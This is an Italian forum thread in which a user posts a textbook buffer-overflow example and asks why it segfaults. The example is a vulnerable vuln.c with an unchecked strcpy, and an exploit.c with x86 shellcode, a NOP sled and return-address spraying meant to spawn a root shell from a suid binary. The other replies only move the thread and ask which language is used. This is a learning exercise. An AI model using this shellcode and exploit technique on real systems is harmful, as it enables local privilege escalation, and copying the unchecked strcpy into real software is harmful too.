Visualizzazione dei risultati da 1 a 4 su 4
  1. #1
    Utente di HTML.it
    Registrato dal
    Sep 2001
    Messaggi
    62

    Esempio buffer overflow non mi riesce!

    Salve a tutti!

    Ho provato ad eseguire un'esempio di buffer overflow preso dal libro "L'arte dell'hacking" di Jon Erickson.
    L'esempio consta di due eseguibili: "vuln.c" e "exploit.c", il primo con un bug di buffer overflow e il secondo che tenta di iniettargli uno shellcode con lo scopo di attivare una shell di root.

    Dopo aver settato il suid a root per vuln ho provato ad eseguire exploit, ma mi restituisce sempre segmentation fault.
    Ecco i due listati:

    //vuln.c
    int main(int argc, char *argv[])
    {
    char buffer[500];

    strcpy(buffer, argv[1]);

    return 0;
    }
    //////////////////////////////

    //exploit.c
    #include <stdlib.h>

    char shellcode[] =
    " \x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80
    \xeb\x16\x5b\x31\xc0"
    " \x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0
    \x0b\x8d\x4b\x08\x8d"
    " \x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f
    \x62\x69\x6e\x2f\x73"
    "\x68";

    unsigned long sp(void)
    {
    __asm__("movl %esp, %eax");
    }

    int main(int argc, char *argv[])
    {
    int i, offset;
    long esp, ret, *addr_ptr;
    char *buffer, *ptr;

    offset = 0;
    esp = sp();

    ret = esp - offset;

    printf("Stack pointer (ESP) : 0x%x\n", esp);
    printf(" Offset from ESP : 0x%x\n", offset);
    printf("Desired Return Addr : 0x%x\n", ret);
    printf("0x%x\n", &buffer);

    buffer = malloc(800);

    ptr = buffer;
    addr_ptr = (long *)ptr;
    for (i = 0; i < 800; i += 4)
    {
    *(addr_ptr++) = ret;
    }

    for (i = 0; i < 200; i++)
    {
    buffer[i] = '\x90';
    }

    ptr = buffer + 200;
    for (i = 0; i < strlen(shellcode); i++)
    {
    *(ptr++) = shellcode[i];
    }

    buffer[600 - 1] = 0;
    execl("./vuln", "vuln", buffer, 0);

    free(buffer);

    return 0;
    }

    Qualcuno puō provarli e farmi sapere se gli funzionano?
    Grazie.
    (Uso SUSE 9.2 con gcc 3.3.4)
    I worry about my child and the Internet all the time, even though she's too young to have logged on yet.
    Here's what I worry about. I worry that 10 or 15 years from now, she will come to me and say 'Daddy, where
    were you when they took freedom of the press away from the Internet?'"
    --Mike Godwin, Electronic Frontier Foundation
    www.alflug.it

  2. #2
    Utente di HTML.it L'avatar di Ilmalcom
    Registrato dal
    Oct 2002
    Messaggi
    1,345
    Sposto su Programmazione

  3. #3
    Utente di HTML.it L'avatar di MMarzia
    Registrato dal
    Mar 2001
    Messaggi
    1,781
    linguaggio?
    io sono festosamente cicciottello :: e. cartman

    t'amo senza sapere come, nč quando nč da dove,
    t'amo direttamente senza problemi nč orgoglio:
    cosė ti amo perchč non so amare altrimenti

  4. #4
    Utente di HTML.it
    Registrato dal
    Sep 2001
    Messaggi
    62
    Il C.
    I worry about my child and the Internet all the time, even though she's too young to have logged on yet.
    Here's what I worry about. I worry that 10 or 15 years from now, she will come to me and say 'Daddy, where
    were you when they took freedom of the press away from the Internet?'"
    --Mike Godwin, Electronic Frontier Foundation
    www.alflug.it

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2024 vBulletin Solutions, Inc. All rights reserved.